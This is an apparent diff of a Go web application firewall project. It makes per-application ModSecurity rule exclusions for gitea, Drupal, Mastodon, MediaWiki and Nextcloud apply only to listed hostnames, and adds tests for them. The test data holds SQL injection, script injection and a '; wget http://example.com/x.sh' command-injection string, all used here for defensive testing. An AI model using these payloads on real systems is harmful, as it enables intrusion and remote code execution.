sqlInjection = "1'%20OR%20'1'='1"
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
sqlInjection = "1'%20OR%20'1'='1"
scriptInjection = "%3Cscript%3Ealert(1)%3C%2Fscript%3E"
commandInjection = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
)
// passwordField is the form data field password, ending in "=", in which
// several apps take a password.
const passwordField = "password="
// hardValues are words that name commands and files, as a query or form
// value. An app's tests check that its fields let them through.
//
@@ -619,18 +749,18 @@ const (
var hardValues = []string{"python3", "powershell", "ls%20-la", ".htaccess"}
// wantRecordedRequestsPass checks that none of the recorded ordinary
// requests in the file name in testdata is refused, at the defaults and
// while bodies are read. A request with neither a body nor a Content-Type
// header is checked only at the defaults: with neither, the set that reads
// requests in the file name in testdata is refused by defaults, which
// reads no body, or by bodies, which reads it. A request with neither a
// body nor a Content-Type header is checked only by defaults: with neither,
// bodies has nothing more to check. Each request runs as its own parallel
// subtest.
func wantRecordedRequestsPass(t *testing.T, name string) {
func wantRecordedRequestsPass(
t *testing.T, name string, defaults, bodies *coreruleset.CoreRuleSet,
) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, recorded := range recordedRequests(t, name) {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
@@ -830,13 +960,16 @@ func wordpressAttackTargets(attack string) []string {
}
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
// wantWordPressRequestsPass checks that the recorded ordinary WordPress
// requests pass defaults, which reads no body, and that those with a body
// pass bodies, which reads it.
func wantWordPressRequestsPass(
t *testing.T, defaults, bodies *coreruleset.CoreRuleSet,
) {
t.Helper()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
for _, recorded := range recordedRequests(t, "wordpress-requests.txt") {
t.Run(recorded.Method+" "+recorded.Target, func(t *testing.T) {
t.Parallel()
@@ -856,6 +989,16 @@ func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
}
})
}
}
func TestOrdinaryWordPressRequestsPassAndAttacksAreRefused(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
wantWordPressRequestsPass(t, defaults, bodies)
for _, attack := range []string{
sqlInjection,
@@ -932,6 +1075,20 @@ func wordpressWords() []struct {
}
}
func TestHostnameListingWordPressLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
// The requests were recorded on otherHost.
apps := map[string][]string{otherHost: {wordpress}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
Apps: apps,
})
wantWordPressRequestsPass(t, servingApps(t, apps), bodies)
}
// wordpressBlock is the comment that starts every block of WordPress's
// HTML, which rule 941180 matches.
const wordpressBlock = "<!-- wp:paragraph -->"
+10 -1
View File
@@ -1,4 +1,4 @@
# The tenth change: on Drupal's paths, some fields skip the rules that refused
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
@@ -25,6 +25,13 @@
# 932230: ls -la
# 932235: python3
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_drupal when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3
# name: /admin/content/media?name=python3
@@ -237,3 +244,5 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
+30 -1
View File
@@ -5,6 +5,8 @@ import (
"net/url"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -34,7 +36,34 @@ const drupalName = "name="
func TestOrdinaryDrupalRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "drupal-requests.txt")
wantRecordedRequestsPass(t, "drupal-requests.txt", atDefaults(t), readingBodies(t))
}
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"drupal"},
})
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingDrupalLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
apps := map[string][]string{recordedHost: {"drupal"}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "drupal-requests.txt", servingApps(t, apps), bodies)
}
// drupalAttacks are an SQL injection, a path traversal and a script
+54 -7
View File
@@ -1,8 +1,53 @@
# The eighth change: on gitea's paths, some fields skip the rules that refused
# ordinary gitea requests there. They are the fields where gitea sends a search,
# a file name or a branch name. Each exclusion runs with the request, before the
# rules it switches off, those of phase 1 included, so this file is loaded before
# the Core Rule Set's rules. Each comment names a request the rule refused.
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
# They are the fields where gitea sends a search, a file name or a branch name.
# Each exclusion runs with the request, before the rules it switches off, those
# of phase 1 included, so this file is loaded before the Core Rule Set's rules.
# Each comment names a request the rule refused.
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_gitea when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
# gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there:
@@ -163,8 +208,8 @@ SecRule REQUEST_FILENAME \
# 942140: information_schema.sql
# 944110: java/lang/Runtime.java
# 944130: java.lang.String.md
# Each request skips the rules that refused it. The fourth change already has
# path and redirect_to skip 930120, 932160 and 932260 on every path.
# Each request skips the rules that refused it. Rule 900591 already has path and
# redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -289,3 +334,5 @@ SecRule REQUEST_FILENAME \
"@rx ^/api/actions_pipeline/_apis/pipelines/workflows/[0-9]+/artifacts/[^/]+/upload$" \
"id:900640,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=920450;REQUEST_HEADERS_NAMES:Content-Range"
SecMarker END_GITEA
+10 -1
View File
@@ -1,4 +1,4 @@
# The twelfth change: on Mastodon's paths, some fields skip the rules that
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
# refused ordinary Mastodon requests there. They are the fields where Mastodon
# sends a search, a name, a title, a file name, an address or free text. Each
# exclusion runs with the request, before the rules it switches off, so this
@@ -17,6 +17,13 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_mastodon when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mastodon itself.
SecRule &TX:app_mastodon "@eq 0" \
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
# The API's searches and names, in the query:
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
# acct: /api/v1/accounts/lookup?acct=python3
@@ -216,3 +223,5 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
SecMarker END_MASTODON
+41 -14
View File
@@ -57,7 +57,34 @@ const (
func TestOrdinaryMastodonRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mastodon-requests.txt")
wantRecordedRequestsPass(t, "mastodon-requests.txt", atDefaults(t), readingBodies(t))
}
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"mastodon"},
})
// A search, which only Mastodon's fixes let through.
search := get("/api/v2/search?q=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingMastodonLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
apps := map[string][]string{recordedHost: {"mastodon"}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "mastodon-requests.txt", servingApps(t, apps), bodies)
}
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
@@ -151,7 +178,7 @@ var mastodonFormFields = []mastodonBodyField{
"form_redirect[current_password]=",
},
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
{http.MethodPost, mastodonSignUp, "password="},
{http.MethodPost, mastodonSignUp, passwordField},
{http.MethodPost, mastodonSignUp, "reason="},
}
@@ -287,30 +314,31 @@ func TestMastodonAttacksAreRefusedInTheExcludedFields(t *testing.T) {
}
}
// mastodonCommandAttack is a shell command that only 932230 and 932235
// refuse on the fields that skip the four rules.
const mastodonCommandAttack = "; wget http://example.com/x.sh"
func TestMastodonCommandAttackIsRefusedOutsideAPost(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
attack := url.QueryEscape(mastodonCommandAttack)
for _, target := range mastodonQueryFields {
if got := inspect(t, crs, get(target+attack)); got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
got := inspect(t, crs, get(target+commandInjection))
if got.Score < mastodonThreshold {
t.Errorf("%s%s let through: %+v", target, commandInjection, got)
}
}
for _, sent := range mastodonFormFields {
if mastodonForm(t, sent, attack) < mastodonThreshold {
if mastodonForm(t, sent, commandInjection) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
attack, err := url.QueryUnescape(commandInjection)
if err != nil {
t.Fatal(err)
}
for _, sent := range mastodonJSONFields {
if mastodonJSON(t, sent, mastodonCommandAttack) < mastodonThreshold {
if mastodonJSON(t, sent, attack) < mastodonThreshold {
t.Errorf("%v let through", sent)
}
}
@@ -497,7 +525,7 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
}
for _, value := range slices.Concat(
refused, mastodonAttacks, []string{url.QueryEscape(mastodonCommandAttack)},
refused, mastodonAttacks, []string{commandInjection},
) {
if mastodonForm(t, mastodonUsername, value) < mastodonThreshold {
t.Errorf("username %s let through", value)
@@ -548,8 +576,7 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
// The address keeps 932250 and the rules that refuse attacks.
for _, value := range slices.Concat(
[]string{"ls%20-la"}, mastodonAttacks,
[]string{url.QueryEscape(mastodonCommandAttack)},
[]string{"ls%20-la"}, mastodonAttacks, []string{commandInjection},
) {
if mastodonForm(t, sent, value) < mastodonThreshold {
t.Errorf("%v with %s let through", sent, value)
+13 -2
View File
@@ -1,4 +1,4 @@
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the
@@ -21,6 +21,13 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_mediawiki when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history
@@ -198,10 +205,12 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles
# holding a command.
# holding a command. It checks tx.app_mediawiki, since the skip above does not
# reach phase 2.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
@@ -210,3 +219,5 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
+57 -2
View File
@@ -4,11 +4,16 @@ import (
"net/http"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit"
@@ -45,7 +50,57 @@ const (
func TestOrdinaryMediaWikiRequestsPass(t *testing.T) {
t.Parallel()
wantRecordedRequestsPass(t, "mediawiki-requests.txt")
wantRecordedRequestsPass(t, "mediawiki-requests.txt", atDefaults(t), readingBodies(t))
}
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
}
func TestHostnameListingMediaWikiLetsItsRecordedRequestsThrough(t *testing.T) {
t.Parallel()
apps := map[string][]string{recordedHost: {mediawiki}}
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: apps,
})
wantRecordedRequestsPass(t, "mediawiki-requests.txt", servingApps(t, apps), bodies)
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
@@ -167,7 +222,7 @@ var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiAPI, "lgname="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, "username="},
{mediawikiAPI, "password="},
{mediawikiAPI, passwordField},
}
// mediawikiReasonFields are the reasons on the admin pages, which skip only
+257
View File
@@ -0,0 +1,257 @@
# Nextcloud's fixes: on Nextcloud's paths, some fields skip the rules that
# refused ordinary Nextcloud requests there. They are the fields where Nextcloud
# sends a search, a name, a file name, a folder, a comment, a note, a status or
# a document's text. Each exclusion runs with the request, before the rules it
# switches off, so this file is loaded before the Core Rule Set's rules. Each
# comment names a request a rule refused. An exclusion on a field of a JSON body
# applies only when the query has no parameter of that name, so it matters only
# while SWW_WAF_BODY_LIMIT is set. Nextcloud's pages are matched at the site
# root and under /index.php/, where a Nextcloud without pretty URLs serves them.
#
# Four rules read a search or a name as a command or a system file:
# 930120: .htaccess
# 932120: powershell
# 932250: ls -la
# 932260: python3
# Each exclusion below removes these four from its fields.
#
# A comment, a share's note and an account's status hold sentences a person
# writes. Four more rules refused ordinary sentences there:
# 932125: It is fixed; diff attached
# 932230: Run python3 or powershell; ls -la shows .htaccess
# 932235: We need more time; find the old notes first
# 932380: Tested on Windows; powershell works
# The text of a document holds such sentences too, and code blocks. Two more
# rules refused a shell script in a code block:
# 932160: #!/bin/bash
# 932370: ```bash, which starts the code block
# These fields skip the rules that refused them. So a shell command such as
# "; wget http://example.com/x.sh" reaches Nextcloud in these fields. SQL
# injection, path traversal and script injection are still refused there.
# Unless SWW_APPS lists nextcloud for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_nextcloud when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_nextcloud itself.
SecRule &TX:app_nextcloud "@eq 0" \
"id:900090,phase:1,pass,nolog,skipAfter:END_NEXTCLOUD"
# The sync client and the Files app use these WebDAV methods besides those
# the first change allows, on /remote.php/dav/ and /public.php/dav/ and on the
# older /remote.php/webdav/ and /public.php/webdav/. 911100 refused each:
# PROPFIND, PROPPATCH: listing a folder, marking a file a favourite
# MKCOL: making a folder, and starting a chunked upload
# COPY, MOVE: copying, moving and renaming, and ending a chunked upload
# REPORT: listing favourites and comments
# SEARCH: the Files app's search
# LOCK, UNLOCK: the desktop client's "Lock file" and "Unlock file"
SecRule REQUEST_FILENAME "@rx ^/(?:remote|public)\.php/(?:dav|webdav)(?:/|$)" \
"id:900100,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=%{tx.allowed_methods} PROPFIND PROPPATCH MKCOL COPY MOVE REPORT SEARCH LOCK UNLOCK'"
# Nextcloud keeps the name of the account signed in in the cookie nc_username,
# which every request sends, on every path. Each request of the account
# python3 was refused.
SecAction "id:900101,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932120;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932250;REQUEST_COOKIES:nc_username,\
ctl:ruleRemoveTargetById=932260;REQUEST_COOKIES:nc_username"
# Signing in, in the query or the body:
# user, password: user=python3&password=Example-pass-python3
# redirect_url: /login?redirect_url=/apps/files/%3Fdir%3D/Python3%20notes
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?login$" \
"id:900102,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:user|password|redirect_url)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:user|password|redirect_url)$/"
# The folder the Files app shows: /apps/files/?dir=/Powershell%20modules.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files/" \
"id:900103,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:dir,\
ctl:ruleRemoveTargetById=932120;ARGS:dir,\
ctl:ruleRemoveTargetById=932250;ARGS:dir,\
ctl:ruleRemoveTargetById=932260;ARGS:dir"
# The file names on a public share's page. A preview names its file in file:
# /apps/files_sharing/publicpreview/<token>?file=/powershell+profile.ps1
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/files_sharing/publicpreview/" \
"id:900104,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:file,\
ctl:ruleRemoveTargetById=932120;ARGS:file,\
ctl:ruleRemoveTargetById=932250;ARGS:file,\
ctl:ruleRemoveTargetById=932260;ARGS:file"
# A download names its folder in path and its files in files:
# /s/<token>/download?path=/&files=powershell%20profile.ps1
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?s/[^/]+/download$" \
"id:900105,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:path|files)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:path|files)$/"
# The OCS API's searches and names, in the query, a form data body or a JSON
# body:
# search: /ocs/v2.php/cloud/users/details?search=python3, and the same on
# cloud/users, cloud/groups, cloud/groups/details and the sharees
# term, from: /ocs/v2.php/search/providers/files/search?term=python3
# groupid, userid, displayName: adding the group "Python3 admins" and the
# account python3, displayName=Ls+-la+Example
# groups[], or groups in JSON: the groups of a new account,
# groups[]=Python3+admins
# value: changing an account's name, address or headline, value=Powershell+Lane
# path, label, shareWith: sharing the folder "/ls -la output" with the
# label "python3 link"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900106,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\[\])$/"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/" \
"id:900107,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:search|term|from|groupid|userid|displayname|value|path|label|sharewith|groups\.[0-9]+)$/"
# A share's note, in the query, a form data body or a JSON body, on a new
# share or a changed one: {"note":"It is fixed; diff attached"}.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
"id:900108,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:note,\
ctl:ruleRemoveTargetById=932120;ARGS:note,\
ctl:ruleRemoveTargetById=932125;ARGS:note,\
ctl:ruleRemoveTargetById=932230;ARGS:note,\
ctl:ruleRemoveTargetById=932235;ARGS:note,\
ctl:ruleRemoveTargetById=932250;ARGS:note,\
ctl:ruleRemoveTargetById=932260;ARGS:note,\
ctl:ruleRemoveTargetById=932380;ARGS:note"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/files_sharing/api/v1/shares(?:/[^/]+)?$" \
"id:900109,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.note "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.note,\
ctl:ruleRemoveTargetById=932120;ARGS:json.note,\
ctl:ruleRemoveTargetById=932125;ARGS:json.note,\
ctl:ruleRemoveTargetById=932230;ARGS:json.note,\
ctl:ruleRemoveTargetById=932235;ARGS:json.note,\
ctl:ruleRemoveTargetById=932250;ARGS:json.note,\
ctl:ruleRemoveTargetById=932260;ARGS:json.note,\
ctl:ruleRemoveTargetById=932380;ARGS:json.note"
# An account's status, in the query, a form data body or a JSON body:
# {"message":"Tested on Windows; powershell works"}.
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
"id:900110,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:message,\
ctl:ruleRemoveTargetById=932120;ARGS:message,\
ctl:ruleRemoveTargetById=932125;ARGS:message,\
ctl:ruleRemoveTargetById=932230;ARGS:message,\
ctl:ruleRemoveTargetById=932235;ARGS:message,\
ctl:ruleRemoveTargetById=932250;ARGS:message,\
ctl:ruleRemoveTargetById=932260;ARGS:message,\
ctl:ruleRemoveTargetById=932380;ARGS:message"
SecRule REQUEST_FILENAME "@rx ^/ocs/v[12]\.php/apps/user_status/api/v1/user_status/message/custom$" \
"id:900111,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.message "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932120;ARGS:json.message,\
ctl:ruleRemoveTargetById=932125;ARGS:json.message,\
ctl:ruleRemoveTargetById=932230;ARGS:json.message,\
ctl:ruleRemoveTargetById=932235;ARGS:json.message,\
ctl:ruleRemoveTargetById=932250;ARGS:json.message,\
ctl:ruleRemoveTargetById=932260;ARGS:json.message,\
ctl:ruleRemoveTargetById=932380;ARGS:json.message"
# The name and slogan in the theming admin settings, in the JSON field value:
# {"setting":"slogan","value":"ls -la and .htaccess"}.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/theming/ajax/updateStylesheet$" \
"id:900112,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:json.value "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932120;ARGS:json.value,\
ctl:ruleRemoveTargetById=932250;ARGS:json.value,\
ctl:ruleRemoveTargetById=932260;ARGS:json.value"
# The Text editor saves a document, such as a folder's Readme.md, with its
# path in the JSON field filePath and its text in autosaveContent. The text
# skips the rules for sentences and code blocks too.
SecRule REQUEST_FILENAME "@rx ^/(?:index\.php/)?apps/text/session/[0-9]+/save$" \
"id:900113,phase:1,pass,nolog,chain"
SecRule &ARGS_GET:/^json\.(?:filepath|autosavecontent)$/ "@eq 0" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^json\.(?:filepath|autosavecontent)$/,\
ctl:ruleRemoveTargetById=932125;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932160;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932230;ARGS:json.autosavecontent,\
ctl:ruleRemoveTargetById=932235;ARGS:json.autosavecontent,\
